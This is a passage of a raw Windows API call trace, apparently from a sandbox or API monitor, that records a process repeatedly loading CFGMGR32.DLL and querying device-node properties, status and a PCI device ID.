dwHighDateTime=0x1d9eb0c)) [0227.529] SetEvent (hEvent=0x248) returned 1 [0227.533] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.533] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.535] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.536] malloc (_Size=0x18) returned 0x196ef0d1b40 [0227.536] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.536] malloc (_Size=0x48) returned 0x196ef0fbea0 [0227.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x687a7a1f, dwHighDateTime=0x1d9eb0c)) [0227.537] SetEvent (hEvent=0x248) returned 1 [0227.539] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.540] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.543] malloc (_Size=0x18) returned 0x196ef0d1e20 [0227.543] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0227.544] malloc (_Size=0x48) returned 0x196ef0fb220 [0227.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x687a7a1f, dwHighDateTime=0x1d9eb0c)) [0227.545] SetEvent (hEvent=0x248) returned 1 [0227.550] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.550] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.553] malloc (_Size=0x18) returned 0x196ef0d1c80 [0227.553] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.555] malloc (_Size=0x48) returned 0x196ef0fba40 [0227.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x687cd288, dwHighDateTime=0x1d9eb0c)) [0227.555] SetEvent (hEvent=0x248) returned 1 [0227.559] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.559] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.643] malloc (_Size=0x18) returned 0x196ef0d20e0 [0227.643] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2b, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0227.643] malloc (_Size=0x48) returned 0x196ef0fba40 [0227.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x688b1b68, dwHighDateTime=0x1d9eb0c)) [0227.644] SetEvent (hEvent=0x248) returned 1 [0227.653] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.653] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.662] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0227.663] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2b, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0227.663] malloc (_Size=0x48) returned 0x196ef0fb270 [0227.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x688d89cc, dwHighDateTime=0x1d9eb0c)) [0227.664] SetEvent (hEvent=0x248) returned 1 [0227.670] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.670] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.676] malloc (_Size=0x18) returned 0x196ef0d1d60 [0227.676] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.677] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0227.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x688fe2b9, dwHighDateTime=0x1d9eb0c)) [0227.677] SetEvent (hEvent=0x248) returned 1 [0227.684] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.684] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.687] malloc (_Size=0x18) returned 0x196ef0d20c0 [0227.735] CM_Get_Device_IDA (in: dnDevInst=0x2, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&28") returned 0x0 [0227.735] malloc (_Size=0x48) returned 0x196ef0fc170 [0227.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x68996a06, dwHighDateTime=0x1d9eb0c)) [0227.736] SetEvent (hEvent=0x248) returned 1 [0227.740] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.740] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.743] malloc (_Size=0x18) returned 0x196ef0d1da0 [0227.743] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.743] malloc (_Size=0x124) returned 0x196ef0d67b0 [0227.744] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0227.744] free (_Block=0x196ef0d67b0) [0227.744] malloc (_Size=0x48) returned 0x196ef0fbf40 [0227.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68996a06, dwHighDateTime=0x1d9eb0c)) [0227.745] SetEvent (hEvent=0x248) returned 1 [0227.749] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0227.749] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0227.749] free (_Block=0x196ef0d1ee0) [0227.749] malloc (_Size=0x18) returned 0x196ef0d1980 [0227.749] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0227.749] free (_Block=0x196ef0d1980) [0227.749] malloc (_Size=0x18) returned 0x196ef0d1de0 [0227.749] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0227.749] free (_Block=0x196ef0d1de0) [0227.749] malloc (_Size=0x18) returned 0x196ef0d1a20 [0227.749] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0227.749] free (_Block=0x196ef0d1a20) [0227.749] RtlAllocateHeap 